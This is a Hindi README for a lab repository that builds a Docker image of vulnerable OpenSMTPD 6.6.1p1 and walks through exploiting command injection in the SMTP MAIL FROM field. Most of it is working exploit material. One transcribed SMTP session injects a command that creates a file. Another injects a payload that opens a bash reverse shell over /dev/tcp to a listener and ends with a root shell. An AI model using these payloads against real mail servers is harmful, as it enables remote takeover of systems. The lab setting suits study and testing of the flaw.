
इस रिपॉजिटरी में एक Docker इमेज बनाने के लिए आवश्यक फ़ाइलें शामिल हैं, जिसमें OpenSMTPD (6.6.1p1) का एक असुरक्षित वातावरण है। यह भेद्यता एक हमलावर को विशेष रूप से तैयार किए गए SMTP सत्र के माध्यम से, विशेष रूप से MAIL FROM फ़ील्ड में, मनमाने कमांड निष्पादित करने की अनुमति देती है।
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. मनमाने कमांड निष्पादित करें:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. रिवर्स शेल प्राप्त करें:
लिसनर सेट करें:
nc -lnvp 8080
exploit.py स्क्रिप्ट चलाएँ (दूसरे टर्मिनल पर):
python3 exploit.py
या मैन्युअली करें:
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
अब आपके पास होस्ट मशीन पर रूट के रूप में एक शेल होना चाहिए।